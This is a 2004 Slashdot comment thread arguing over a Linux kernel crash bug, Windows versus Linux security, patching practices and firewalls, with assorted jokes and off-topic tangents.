Not everyone has the family friend who will fix the long hard problems for free because they honestly don't care. Why risk souring a friendship when $60-100 at a computer shop will fix the problem?
Re:There's a big difference... by ehack · 2004-06-14 07:38 · Score: 1

I think I'm getting tired of the script kiddie menatlity, I guess. Tell me you've crashed your own machine with an exploit, and I'll thank you for making this information available. Tell me you've crashed someone else's machine, especially when they offer free accounts, and I'll accuse you of vandalism.

--
This is not a signature.
Re:There's a big difference... by Pr0xY · 2004-06-14 07:44 · Score: 1

there is a HUGE problem with your argument. You are relying on the idea that all exploits are public knowledge are have patches available. I can guarantee you that there are plenty of exploits out there that are unknown to the public, in fact the less an exploit is known about then the more valuable it is, as it is less likley to be patched.

Also, just cause you dont see the machines acting funny doesn't mean they aren owned, that's what a good rootkit is all about.

congradulations on supplying spammers with lots of zombie hosts...

proxy
Re:There's a big difference... by N-S+Equations · 2004-06-14 08:09 · Score: 1

...and people discovered new aspects of the problems, created workarounds like Paranoid Android...

Ford: Marvin! Quick, develope a walk around for our security problem!

(Robot walking sound)
Marvin: Is that all? I won't enjoy it at all you know, I've got a execptionaly large mind.

Ford: oh god...

--
The universe is simple, it's the explanation that is complicated.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 08:10 · Score: 2, Insightful

A bad bug that can crash the kernel after a user has access. There are more than one active issues that can cause Windows to crash, especially if you introduce a specially compiled program.
This one is a particularly nasty bug, in that it can be caused by a user account. Windows hasn't had an issue like that since, Blaster, almost a year ago.
They are multi-threaded computer operating systems, they do complex things, neither is perfect. Neither will ever be perfect (although, Win 98 was really close before reaching End-of-Life). And Microsoft is not always the most evil of the software makers. RedHat, SCO, HP, IBM and Novell have all had there turn being raked over the coals on the pages of Slashdot.
I have certainly noticed a positive feedback curve with Microsoft. I'd like to think it has a lot to do with the community getting pissed off when it makes a bone-headed choice. Less focus on Open Source, naturally, because there are so many different projects. However, individual projects have been trashed here as well.
I specifically avoided the name "Microsoft", thinking more in terms of 'closed UNIX' vs. 'Open BSD and Linux'. But most slashers are desktop users, and in the desktop it seems that only Apple, Linux and Microsoft (list alphabetical) currently apply.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by i_r_sensitive · 2004-06-14 08:17 · Score: 1

Thank God!
I've seen too many "experts" suggest that simply cutting the PC-half of the cable, making certain to avoid any of the harmonic points would disrupt the standing wave and elimate the virus copy. THIS IS NOT TRUE.

Allthough less common in this day and age, it used to be fairly common to advise using the router side of the cable. This plainly is not the solution, and this advice (rightly) seems to have gone the way of the dodo.

Lastly there is an urban myth which states that using a 20 foot cable, knotted prior to connecting to the router and then cut on the computer side of the knot would prevent the standing wave from establishing in the PC side of the cable. This is not the case, allthough it does appear to modify the standing wave, forcing it to a frequency which could induce a sumpathetic wave in other cables in close proximity, including fiber optic cable...

--
"Talk minus action equals nothing" - Joey Shithead, D.O.A.
"Talk minus action equals /." -
Re:There's a big difference... by Allen+Zadr · 2004-06-14 08:24 · Score: 1

3. They can have a decent free personal software firewall such as ZoneAlarm.
Cool. If ZoneAlarm can be set to auto-install with all notifications turned off, I would have consider buying licenses corporate wide, but that capability must be found and turned off after the fact (last I looked). I piloted this with two users, both of whom managed to block their access to the 'home office' network by responding to false-alarm active notifications.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 08:36 · Score: 1

Computer access is just any one of 30 to 40 potentially unpatched Debian Woody packages away. That makes this bug even worse. Of course, if you installed Woody with default settings, you are running a very old 2.2 kernel, and this bug won't affect you anyway
From a security standpoint this is little different than the Email viruses that have been spreading around the internet in the last, say, 8 years. The patch management programs will adapt in a race condition just like AntiVirus has.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by xanadu-xtroot.com · 2004-06-14 08:46 · Score: 1

Perhaps the thing you are not seeing here is that 90% of my network physically walks out the door.

I'm right there with you. My last IT gig was a small-ish (90 +/- - it depends on the jobs that were available and depends on how well the sales folk did...) user network. 90% were not located in a physical office and most of that not under "MY" control (client or home). This is what makes a major filtering/firewalling most important. I have no idea what my machines were exposed to, thus being really paranoid when it came to force-feeding McAfee updates, major firewall restrictions, etc. Your argument against, is my exact argument FOR: we have/had no idea what to expect...

--
I'm not a prophet or a stone-age man,
I'm just a mortal with potential of a super man.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 08:54 · Score: 1

Tripwire hasn't found anything yet.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Nightreaver · 2004-06-14 09:21 · Score: 0

To judge for the past many security holes exploited in Windows laying home and company networks down I would say that most Windows users don't take care of their computers. These actions are only possible with a huge number of machines that aren't updated.

He uses his example to shed light on the problem at hand. I find it quite concerning that 80% of computers sent to be repaired are because of computer viruses and the like, as I would have thought that it would be due to hardware problems.

Most people who send in computers because of viruses are the ones who aren't fortunate enough to know any computer experts (as many /. readers are) able to fix their problem. In my case, all the non-experts I know (e.g. my family members) take contact to me as the first step.
Re:There's a big difference... by Frank+T.+Lofaro+Jr. · 2004-06-14 09:53 · Score: 1

"Properly configured firewall" ,eh?

iptables -F
iptables -I INPUT -j DENY
iptables -I OUTPUT -j DENY

That'll protect you :)

--
Just because it CAN be done, doesn't mean it should!
Re:There's a big difference... by Anonymous Coward · 2004-06-14 10:03 · Score: 0

You know what I think is scary? Due to the increased visibility of Linux.... as I chat w/ people around the world about music, linux comes up, and some of these clueless Windows users who don't care are starting to experiment in linux. Just last night some guy told me he always runs as root for everything. I spent over 30min trying to argue why it is such a bad idea but ultimately that user is not too concerned since it's their machine, and not a public machine, and in their own eyes, security does not need to be a high priority.

I think that if linux gains more market share and more Windows converts, that linux will see some of the afflictions of the stupid cropping up and being a problem. But I don't think it will ever get as bad as Windows-land. Better to be aiming for secure by default IMO.
Re:There's a big difference... by bonch · 2004-06-14 10:05 · Score: 1

Windows ME is four years old. You don't use a Mandrake CD from four years ago to install with, do you?
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:12 · Score: 1

Actually, the 'swastika' was a Buddhist symbol (which looks like a reverse swastika). I think this is what your talking about (or was there ANOTHER ww2 related thing???)
Re:There's a big difference... by bluethundr · 2004-06-14 10:15 · Score: 1

I think it's probably just fair to say that the number of Linux-scriptkiddie wannabies is as nonzero as the number of Windows-scriptkiddie wannabies,

I think you're misusing the term nonzero in this context. As far as I understand a Von Neumann stated that zerosum game theory indicates an "I win, you lose!" mentality.

That would be (since I don't know squat about sports): let's say that football "team a" plays football "team b". Team A wins the game. All of the members of "team a" were playing to a common goal...winning the game! Therefore, all of the members of "team a" were playing a "nonzero sum game" whose goal was to "win". So were "team b", but "team b" as a whole lost the zerosum game.

--
Quod scripsi, scripsi.
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:23 · Score: 1

I use APT for RPM (Fedora Core 2), so around 99% (actually far more than that) of my programs are from RPM and are update w/ dist-upgrade. And about every single program I have thats from source that wouldn't be updated by APT is a program thats generally VERY far from anything to do w/ security. Right now I don't think I have any from source except for Apollon & giFT, which once I finish these downloads I'm going to 'make uninstall' both of them and install the version that just came into the APT respiratory.

APT also updates my kernel for me, though I don't switch to using a new one all too often since I have to reinstall the NVidia drivers (AH! theres one! though thats not really from source)
Re:There's a big difference... by Grym · 2004-06-14 10:24 · Score: 1

Absolutely! An unpatched RedHat 6.2 will become a zombie just as fast (if not faster) then an unpatched Windows XP or 2000 machine.
Here's my experience with exactly what you're talking about. Let me start out by saying that I'm a linux newbie. I'm not new to computers or inept, I've just always stuck to what I've known: DOS/Windows. After having read Slashdot and learned about the wonders of linux, me and a co-worker convinced our boss that the unused Dell server we had would make a perfect specimen for some linux-based services (MRTG, SQL, freeRADIUS, I believe) we were wanting to implement.
After a few hours figuring out the correct way to partition the HDs and install Redhat correctly (yeah yeah... *sigh*), we finally got it up and running. It suggested that we patch our setup but only if we joined RedHat network--which defeated the whole "no-cost" argument we had used to convince our boss. Besides, after reading the zealots on /., I was more than confident our linux-beast was impervious to all but the most educated of hackers.
After a couple of weeks of getting MRTG working--a trial by fire, I might add. We were happy; all was well. That is, until a message popped up on X one day: "Hello friend, I've installed on your server. You probably won't be able to get it off. Have a nice day." Needless to say, the machine now has a patched version of Windows 2000 Server on it. Which, to date, has not been hacked.
My point? The linux advocates on here who point to viruses/worms that exploit Windows Updateable security concerns as proof of the insecurity of Windows do the linux community a disservice by not only providing a false sense of security but also undermining the credibility of the rest of the community.
-Grym
Re:There's a big difference... by grahamlee · 2004-06-14 10:27 · Score: 1

Only if you restrict your definition of 'nonzero' to that in game theory, not that which is in wide use in engineering, physics and mathematics. And I wasn't discussing game theory at all. The more general meaning of the word 'nonzero' is "that which is not zero". Which is indeed what the etymology of the word would apply.
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:29 · Score: 1

What hes saying is that most Windows users DON'T patch. And its the truth. Everyone I know that uses only uses Windows (and not say, has a business in running a hosting service on a RedHat Linux server) does NOT install any updates. He didn't say anything about Mac users.

BTW: What linux user have you heard saying "lunix d00dz"???
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:33 · Score: 1

When I first installed Linux (around when I was 13, I still got the Mandrake 7.1 box sitting on my desk), I often ran in root, though that box couldn't connect to the Internet, and I installed it to learn and experiment with it.

I ended up going back to Windows till last September (when I got an ethernet connection and RedHat 9 came out)
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:38 · Score: 1

It _could_ run the installer w/ a lower priority, so it shouldn't screw up anything else (in theory)
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:47 · Score: 1

You act like there isn't a thing called 'the internet' where you can find loads of information about anything.

Of course non-techie people don't seem to be able to use the internet, like they can't seem to be able to use Google to find information, for example they write stuff like 'what are the security concerns with using ProductX' instead of something like 'security ProductX' (yeah I know thats a horrible example, but I can't remember what the person wrote, I just remember laughing)
Re:There's a big difference... by SirTalon42 · 2004-06-14 10:50 · Score: 1

I say Avid should release a patch and fix the problem with their software (if its because they hacked together the redraw system).

Though breaking a couple of programs to drastically limit the spread of worms across the internet is something I could live with, though I would be suspicious if all the programs were competitors of MS
Re:There's a big difference... by SirTalon42 · 2004-06-14 11:04 · Score: 1

I got a Mandrake CD from 2000 sitting right on my desk (the copyright is from 2000, thats how I know).
Re:There's a big difference... by RoloDMonkey · 2004-06-14 11:06 · Score: 1

Blockquote the poster...
2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

In computers you can almost never say a straight up, "Yes" or, "No." I started teaching computers at a small Catholic school last September, and immediately became the technology "go to" guy. I drive my co-workers nuts with my true, but vague answers to questions. I find myselfy constantly saying, "That should work," or "Theoretically that is possible," or, the kicker, "I don't know." This drives people nuts. I am the computer teacher, therefore I should know everything, and I should just say, "Yes," and make them happy. When people question why I don't know, I use this analogy: Would you ask the pilot of a large, complicated airplane to fix the engine, or load the cargo, or even work the coffee machine? Yes, some pilots might know how to do these things, but others don't, and leave them to other experts. I teach compters, know a lot about software and programming, and almost nothing about hardware or networks. Go ask the mechanic, or the sterwardress.

--
Long live the Speaker Bracelet
Rolo D. Monkey
Re:There's a big difference... by iNetRunner · 2004-06-14 11:13 · Score: 1

You are clearly sending though! .. Maybe you should cut the electricity too.. That should get you a better protection from trojans and other spyware.

--
Store with salt
Re:There's a big difference... by Anonymous Coward · 2004-06-14 11:14 · Score: 0

Well put!
I work as a systems administrator at a large university where we have more than one class B allocated to us. By default, every machine -- workstations and servers -- are given public IP addresses and sit behind no firewall*.
Departments with good sysadmins aren't touched by worms and viruses. Those that don't, well, they end up with their boxes trying to send spam and running warez dumps.
Patches and antivirus software solve 99% of your problem!
* TCP ports 135-139 and 445 are blocked by border routers. I don't consider this cheating.
Re:There's a big difference... by SirTalon42 · 2004-06-14 11:15 · Score: 1

If you have APT installed you can just set up a cron job just on their system to run 'apt-get -y dist-upgrade'. I know APT runs on Debian and most Red Hat distros (including the Fedoras). I bet most every other package manager can do that too, like up2date, emerge, the thing that SuSE runs, etc.
Re:There's a big difference... by Eraser_ · 2004-06-14 11:16 · Score: 1

Theories have holes though. Disk I/O and network bandwidth drag computers/games to a halt. I guess the updates could be queue'd for reboot, long as you show on the screen they are being done so the user doesn't reboot thinking it's frozen. (Like fs checks and conversions)
Re:There's a big difference... by SirTalon42 · 2004-06-14 11:24 · Score: 1

'local exploits' just means they have shell access (or similar level), not that they are SITTING at the computer.
Re:There's a big difference... by Goozbach · 2004-06-14 11:27 · Score: 1

Without generalization, there would be no way to make any statements whatsoever about groups of people.
yeah without generizations I wouldn't have the ability to make statements like this, "People who make generalizations are all bigots!"

--
I used to but then I quit.
Re:There's a big difference... by benedict · 2004-06-14 11:30 · Score: 2, Funny

> In previous generations, people's words meant something.

Don't be ridiculous. Salespeople have been lying
since the beginning of time.

--
Ben "You have your mind on computers, it seems."
Re:There's a big difference... by maximilln · 2004-06-14 11:41 · Score: 1

Your "yes" case sounds like more of a job than I'd like to have
Until performance review time comes around and the bean counters demand an explanation for every 30 second delay or every tiny inconsistency.

--
+++ATHZ 99:5:80
Re:There's a big difference... by WiPEOUT · 2004-06-14 12:20 · Score: 2, Insightful

The Windows "community", if you can call it that, is extremely diverse and disparate. The Microsoft-related communities are regionally- and/or technology-oriented. For example, the various VB forums on the web don't interact much with the COM/DCOM mailing lists, nor with the Host Integration Server 2000 newsgroup. The developer groups are very different to the admin groups, too. That's not to say there are no individuals that participate in multiple groups, but rather that the focus is different.

Also, on the various technical forums on the web, you will have "experts" of various grades proficient in Windows who help out people and each other, but this association is more to the goal at hand (eg. gaming, graphic arts, overclocking) or the community itself (eg. motoring enthusiasts, people living in a certain state) than the technology in use.

You may think this is somehow unusual, but since MS customers are interested in the products and what they can do with these products more than the philosophy of the company, it's not so hard to understand. Application developers will be interested in .NET, VB, SQL Server while sysadmins will look into Windows, Exchange, ISA. Sometimes there's cross-over, but even then the focus of developers looking into Windows internals will be different to that of the admins, and admins looking into SQL Server will not be looking into the aspects of SQL Server that most interest developers.

Professionals who work with Microsoft's technologies are simply interested in how it works, and what useful things they can do with it. Compared to the OSS community, there's little interest in non-technical discussion, and certainly a lot less interest in the individuals who head up technology groups. It's a more commercial association oriented around technologies than a technology association oriented about ideals.

These people are not anti-OSS any more than they are pro-Microsoft. They simply have had many different goals over the years, and Windows has enabled them to meet those goals -- often after a rocky road involving much learning. Some of these take to OSS solutions if given the occasion, and others are not interested in investing more time learning about technology, as they have higher priorities, or think the costs outweigh the potential benefits.
Re:There's a big difference... by RedBear · 2004-06-14 13:02 · Score: 1

I'd be very interested in something a little more concrete, such as how many simple exploits like this are available for the various versions of Windows. The exploit must (A) still work on systems that are current with all available patches and (B) must crash the system hard when run as a normal user on a reasonably secured system. Anyone have numbers on this or know where you find a list? It would be more interesting than spouting Open Source philosophy to the choir.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 13:09 · Score: 0

>People here should stand of up linux oriented trolls

People here should use the "preview" button before posting. What the fuck were you trying to say?
Re:There's a big difference... by Anonymous Coward · 2004-06-14 13:10 · Score: 0

too bad the patch didnt
Re:There's a big difference... by Anonymous Coward · 2004-06-14 13:14 · Score: 0

One big problem with blindly applying all patches from microsoft is that some "critical patches" have been known to break totally unrelated stuff.

For example, a critical security patch about a year ago turned out to also affect the scroll bar of internet explorer, suddenly all clicks on the scrollbar were counted twice. Ok, that's not a very big problem, but it is an example of how little tested patches from Microsoft can be.

Another patch a few monts ago apparently affected the DHCP client in Windows, effectively cutting of a lot of computers from the network causing a lot of problems and lost time for many organizations.

So I can understand why someone does not want to apply each and every patch from microsoft. Regarding this Linux exploit, I won't apply any of the patches I've seen so far since they are just ugly workarounds and they obvoiusly disable some functionality, and I don't know if they will break any of the business critical applications running on my machines. Since most of the machines I admin only have "trusted" users and the effect of this exploit is "just" a crashed system, I don't consider this a critical problem in this setting. If my users can't be trusted not to try out an exploit like this the company has a lot more serious problems. If I was an ISP with shell accounts I'd probably see things differently.
Re:There's a big difference... by antiMStroll · 2004-06-14 14:11 · Score: 1

Isn't it fun? In my case Corpse-erate is trying to force the conversion of user profiles on production (non-office desktop) machines from 'User' to 'Power User' so we 'adhere' to standard. They're not swayed by our history of never having a virus or issues with spyware, nor by the hours they've spent this week alone removing animated emoticons, re-directs to URLs with the words "buy" and "track" in them, or software named after Florida lizards from office machines. "My standards, right or wrong."
Re:There's a big difference... by dustmite · 2004-06-14 15:08 · Score: 1

I hate Windows as much as the next guy, but I'm on Win2KSP4 here and I'm afraid it didn't reboot or crash or anything. Just pings normally.
Re:There's a big difference... by Tony-A · 2004-06-14 15:38 · Score: 1

Hehe. You have to realise that it's not a level playing field.

In proprietary land, a vendor would first sue the person who released the information. Then, the re-iteration that you won't be vulnerable if you use a "properly configured firewall," then they'd start working on a fix.
What else can they do? They have to at least pretend they're on top of it. Basically, they're allowed one shot and they're shooting in the dark.

There are patches that "work", even before a full explanation is available. Now, thousands of people are actively working on a solution, if they so choose. If they don't choose, they can ...
Comes off like the Keystone Kops, BUT.
Third stringers try stuff. Some of it might even work.
Second stringers try stuff, but with some battlefield intelligence.
First stringers eventually get it right.
Users join the fray at the level that fits their own priorities.

From the attacker's viewpoint.
Attack against Microsoft's best and brightest, and win for awhile at least.
Attack against Open Source and some dumb idiot will stumble into the cure.
Being beaten by an idiot in a game of wits cannot be enhancing the ego.
Re:There's a big difference... by Tony-A · 2004-06-14 15:48 · Score: 1

I love how "properly configured firewall" is the solution to everything.

And always with no clue as to what means "properly configured firewall".

General strategy. Any problem is always the fault of something else. Find something, anything, to push the blame elsewhere.
Re:There's a big difference... by merdark · 2004-06-14 17:08 · Score: 1

Yes, preview is good. I really should use it.

People here should stand up to linux oriented trolls ...
Re:There's a big difference... by Tony-A · 2004-06-14 17:15 · Score: 1

it is not some moral requirement to use Linux

And then there are people like me who are on Slashdot primarily as an advanced early warning system for Microsoft Windows malware. Some good old-fashioned Microsoft bashing doesn't hurt either.
Re:There's a big difference... by CaptKilljoy · 2004-06-14 17:37 · Score: 1

>If there's a problem with that fix, another one will be along very quickly.

Rather unfortunate for the victims of the bad patch though...

>It depends what you find preferable... leave your system open with a known vulnerability, or fix the known vulnerability with the possibility of opening a new one that no one knows about just yet.

I would say that it's more a matter of evaluating the situation rather than mere preference. On a mission critical system, the former is often preferable (with appropriate measures taken to prevent the exploit from being used) rather than risking loss of data or instability from an untested patch, however remote that might be.
Re:There's a big difference... by CaptKilljoy · 2004-06-14 17:47 · Score: 1

>So, is MS applying that *real* QA process?
>If they do then it is obviously no solution to the problem.

Dunno. I imagine they do, along with Sun and Oracle and IBM and most other large software and hardware. However, just because MS screws up its QA doesn't mean that we should abandaon QA processes altogether. Quite the contrary, in fact.
Re:There's a big difference... by Tony-A · 2004-06-14 18:47 · Score: 1

The problem is that many computer users want "easy" solutions to difficult problems. They would rather take an easy road that claims to work rather than one that actually solves the problem.

Question: Do you have backups?

The answer will be "yes" unless nobody even thought of doing backups.

OpenBSD:
Uber secure? I'll grant them that.
Secure? Probably not. But they're working on it.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 18:53 · Score: 0

But is there a Linux version of Slashdot ? Here it's only talking about how great and nice everything Microsoft does is
Re:There's a big difference... by Anonymous Coward · 2004-06-14 19:18 · Score: 0

This is stupid unless you're running debian stable, in which case you'll essentially only get security upgrades, and the occasional minor release. Debian has more packages than anyone else, and there are bugs, even if they're few and far between. Futher, the upgrade process is often interactive, with some configuration required.

My debian system automatically downloads the required packages for a dist-upgrade every night, but I do the installation myself.

For automated patching, we need a sort of critical, automated branch of updates for apt-get. These are no-frills, do nothing, don't reconfigure, don't add features, don't do anything but fix the damn bug updates. These could be safely applied in the manner you describe.

Anything else is just asking for trouble.
Re:There's a big difference... by Captain_Chaos · 2004-06-14 21:20 · Score: 1

Windows ME is four years old. You don't use a Mandrake CD from four years ago to install with, do you?

Your point being that I should have used a current Windows ME install CD? Or that it's OK for a four year old operating system to crap out when you install the latest official updates using the official method? What exactly is your point?
Re:There's a big difference... by gfxguy · 2004-06-14 23:17 · Score: 1

Once again it falls back to having a choice. If you run an enterprise business system and can't just patch willy nilly, then don't do it.

On the other hand, if you really require the patch, it's generally available to you immediately. You let thousands of other people beta test it first because there are thousands of people willing to do it.

Open Source bonus 1: the patch is available faster.

Open Source bonus 2: thousands of people in "real life" situations are willing to test it out. You decide wether or not you need to and when you want to patch, if at all.

I'm sorry, I'm not seeing the drawback.

--
Stupid sexy Flanders.
Re:There's a big difference... by Anonymous Coward · 2004-06-15 03:05 · Score: 0

YHBT. YHL. HAND.

Love,
bonch (aka Overly Critical Guy)
Re:There's a big difference... by Anonymous Coward · 2004-06-15 03:44 · Score: 0

Of course security is a yes/no option. Privilege elevation exploits either can or cannot be created. The problem is that the industry has produced so many insecure systems that the ones without easy exploits are erroneously being dubbed "secure".
Re:There's a big difference... by CaptKilljoy · 2004-06-15 04:23 · Score: 1

(As a side comment, you appear to be framing this in terms of Open Source vs. not, whereas my intent was framing this in terms of delayed by going through QA vs. not. Granted, more closed source shops have QA teams than open source shops, so I may have given the wrong impression.)

>Open Source bonus 1: the patch is available faster.

No argument there.

>Open Source bonus 2: thousands of people in "real life" situations are willing to test it out. You decide wether or not you need to and when you want to patch, if at all.

1) You get both volunteers and the right to decide regardless of whether the patch is QAed or not.
2) Quality vs. quantity. Thousands of random people (a few of which may or may not be mechanics) examining my car, doesn't substitute for an examination by a known mechanic. If there is a problem, that's thousands of people who may or may not correctly recognize the problem with a patch, may or may not correctly identify the problem, and may or may not report the problem or report the problem correctly.
Re:There's a big difference... by gfxguy · 2004-06-15 04:32 · Score: 1

Aaaacchh, please! The people who wrote the patch are obviously qualified and more than likely testing it out themselves, as are most of the people who work on the core of Linux (in the case of a kernel problem). Do you not think that in those fist 24 hours that patch has been peer reviewed by dozens of some of the best programmers?

--
Stupid sexy Flanders.
Re:There's a big difference... by Anonymous Coward · 2004-06-15 04:32 · Score: 0

me and a co-worker convinced our boss

"a co-worker and I".
Re:There's a big difference... by CaptKilljoy · 2004-06-15 05:31 · Score: 1

>Aaaacchh, please! The people who wrote the patch are obviously qualified and more than likely testing it out themselves, as are most of the people who work on the core of Linux (in the case of a kernel problem). Do you not think that in those fist 24 hours that patch has been peer reviewed by dozens of some of the best programmers?

If that's the case, then how did the bug get in in the first place, pray tell?
Re:There's a big difference... by gfxguy · 2004-06-15 05:59 · Score: 1

Same way it gets in commercial development. All eyes aren't necessarily on your code when you're writing some generic library of some sort.

When a bug IS found, all eyes turn specifically to your code. It's no different in closed source, only with open source you get a lot more eyes on it a lot quicker.

But this is getting to be just so stupid an argument. I'll say it again, part of the beauty of open source is how quickly things happen. If you're somebody who needs to be cautious, then you have the freedom to wait. I don't see the point you're arguing about.

--
Stupid sexy Flanders.
Re:There's a big difference... by MrResistor · 2004-06-15 06:34 · Score: 1

While it is a Buddhist symbol, they inherited it from the Hindu. In fact, swastika is actually a Sanscrit word. It's use as a symbol of life and good luck predates both, and is found in cultures all over the world, including Europe, Asia, the Middle East, and the Americas.

Additionally, both the swastika and sauvastika (reverse swastika) are Hindu/Buddhist symbols. Traditionally the swastika meant Life and Luck, and the sauvastika meant Death and Misfortune. Some are now trying to swap the meanings in response to the Nazi connotation.

--
Under capitalism man exploits man. Under communism it's the other way around.
Re:There's a big difference... by CaptKilljoy · 2004-06-15 08:16 · Score: 1

>But this is getting to be just so stupid an argument.

Agreed.

> I'll say it again, part of the beauty of open source is how quickly things happen. If you're somebody who needs to be cautious, then you have the freedom to wait.

I'll say my point again; weak or nonexistent QA is a weakness of many open (and, for that matter, closed) source projects that can potentially reduce the quality, depending on the size of the project, quality of the programmers, and other factors. For sufficiently complex patches or version upgrades, I'd have to wait much longer for assurance that there is little risk of problems for the "thousands of guinea pigs" method than a (properly managed) QA process.

Fast is good; fast and loose is not.
Re:There's a big difference... by WuphonsReach · 2004-06-15 19:10 · Score: 1

I run a corporate network without a firewall. Every time a major issue comes around and destroys every freaking company around me, I go by with maybe two systems effected. Why? I stay up-to-date on all patches, and I keep relatively SANE security policies in place.

Frankly, I think you're just being foolish to not have a hardware firewall with tightly tuned rules between your machines and the public net. Which is throwing away a big part of security strategy... "defense in depth". Not to mention "limited access" to reduce exposure.

The business question is... what is the cost of downtime? How long would it take you to completely rebuild a rooted/owned box? Don't forget lost future business due to being unreliable. Now compare that to the cost of the hardware firewall.

--
Wolde you bothe eate your cake, and have your cake?
Re:There's a big difference... by Allen+Zadr · 2004-06-16 02:15 · Score: 1

Honestly, I have considered something like this. A packet filtering bridge (as opposed to a NAT-firewall).
Packet filtering bridges allow a much higher level of flexability in allowing mulitple boxes to offer internet services. However, until very recently, this option wasn't "stable".
However, history shows that I haven't needed it yet. So, this is something that's on my list to test.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by plugger · 2004-06-16 05:17 · Score: 1

That's your excuse quota used up for the next 6 months :-)
Re:There's a big difference... by sydb · 2004-06-16 10:44 · Score: 1

That's a sandbox. Air-gap sandbox. Patented.

--
Yours Sincerely, Michael.
Re:There's a big difference... by sydb · 2004-06-16 10:46 · Score: 1

Ooops, I meant sand-gap sandbox.

--
Yours Sincerely, Michael.
Re:There's a big difference... by sydb · 2004-06-16 10:59 · Score: 1

APT for RPM is cool and all, but from my (admittedly very limited experience) the dependency information is not particularly good. I have never, in four years, had a dependency information problem in Debian, whether stable, testing or unstable. I have read two or three bug reports showing these problems, true, but they appear to be fixed almost instantaneously.

In contrast, my sole experience of Fedora was identifying an APT dependency issue for a friend.

Have you tried the Universal Operating System?

--
Yours Sincerely, Michael.

Windows is obviously superior by Athas · 2004-06-14 01:07 · Score: 4, Funny

It doesn't require external programs in order to crash.

--
Gnusay -- for all your talking gnu needs.

Re:Windows is obviously superior by Anonymous Coward · 2004-06-14 01:26 · Score: 0

I once got a Windows 2000 machine on its knees just by running a batch-file with all-windows commands in it: the batch-file simply (by accident) started another instance of itself in a loop. Could not do anything useful anymore but pull the power cord...
Re:Windows is obviously superior by Anonymous Coward · 2004-06-14 01:34 · Score: 1, Funny

Linux is so much work. I've got to copy and paste the code to emacs then I've got to save the file then I've got to compile and run the executable from a command line. In Windows, I get the same results for almost no effort on my part. This is why Linux will never be ready for the desktop.
Re:Windows is obviously superior by weileong · 2004-06-14 01:41 · Score: 1

this is just a standard "rabbit", it's not unique to windows.
Re:Windows is obviously superior by julesh · 2004-06-14 01:54 · Score: 1

No, but due to the lack of process-tree based control, it is much more difficult to deal with in windows than in posix-style systems.
Re:Windows is obviously superior by rastakid · 2004-06-14 01:59 · Score: 1

I've got to copy and paste the code to emacs

This says it all, you're obviously using the wrong editor.

--
In need of reliable and affordable server monitoring?
Re:Windows is obviously superior by Anonymous Coward · 2004-06-14 02:31 · Score: 0

What, ctrl-shift-esc, right click, end process tree?
Re:Windows is obviously superior by nahdude812 · 2004-06-14 04:23 · Score: 0, Redundant

In Soviet Windows, OS crashes YOU!

--
Slay a dragon... over lunch!
Re:Windows is obviously superior by PW2 · 2004-06-14 06:25 · Score: 1

If he got copy/paste to finally work right, then Linux is ready for the desktop!

The best way to avoid this bug by foidulus · 2004-06-14 01:07 · Score: 5, Funny

is to buy a mac and run yellow dog on it!

/ducks

Re:The best way to avoid this bug by Anonymous Coward · 2004-06-14 01:12 · Score: 0, Informative

RTFA! The bug only works on the x86 platform, so thus buying a mac and running Linux on it would get around the bug!
Parent might be a troll or flamebait, but not off-topic!
Re:The best way to avoid this bug by aixou · 2004-06-14 01:19 · Score: 0, Offtopic

is to buy a mac and run yellow dog on it!

Let me fix that for you:

is to buy a mac and run OS X on it! :)
Re:The best way to avoid this bug by ReelOddeeo · 2004-06-14 01:23 · Score: 1

Read the parent message. It does correctly point out, the same point which you repeat, that a Mac would not be affected.

--

Those who would give up liberty in exchange for security and DRM should switch to Microsoft Palladium!
Re:The best way to avoid this bug by fubar1971 · 2004-06-14 01:28 · Score: 2, Interesting

Actually the best way to avoid this exploit is to remove shell access for all accounts except for the Administrator and root. If someone gains access to those accounts, it doesn't matter about the exploit, because your b0x3n is alreadey 0wn3d.
Re:The best way to avoid this bug by bossesjoe · 2004-06-14 01:34 · Score: 0, Offtopic

I wonder how long it will be before this is modded down?

--
There is no replacement for displacement.
Re:The best way to avoid this bug by TheRaven64 · 2004-06-14 01:41 · Score: 4, Insightful
The question is not when it will be modded down, but who will do the modding. Will it be:
1. Linux zealots moderating it down because it suggests that you buy a Mac, or
2. Mac zealots moderating it down because it suggests you don't use OS X?
Gentlemen, place your bets now.
--
I am TheRaven on Soylent News
Re:The best way to avoid this bug by foidulus · 2004-06-14 02:00 · Score: 2, Interesting

Well, so far I have received funny, interesting, offtopic, and flamebait mods. Nothing beats the sampler.
Re:The best way to avoid this bug by Anonymous Coward · 2004-06-14 02:32 · Score: 0

my money is on:

3. humor deprived individuals.
Re:The best way to avoid this bug by Anonymous Coward · 2004-06-14 04:35 · Score: 0

Imagine a Beowolf cluster of these...
Re:The best way to avoid this bug by athakur999 · 2004-06-14 07:06 · Score: 1

For something like a shared webserver though, this won't help. I could just compile the program, upload it into my cgi-bin directory, and run it via my web browser.

--
"People that quote themselves in their signatures bother me" - athakur999
Re:The best way to avoid this bug by fubar1971 · 2004-06-14 07:55 · Score: 1

I'm not a very savy website admin, but AFAIK if you configure Apache to execute cgi-bin scripts, does it not run it as whatever user Apache is running as, and would you not set that users default shell to /bin/false?
Re:The best way to avoid this bug by Anonymous Coward · 2004-06-14 14:31 · Score: 0

Imagine a Beowolf cluster of these...
These what? Humorless, platform-zealots with mod points? Why imagine it when you can just visit Slashdot?
Re:The best way to avoid this bug by athakur999 · 2004-06-15 09:20 · Score: 1

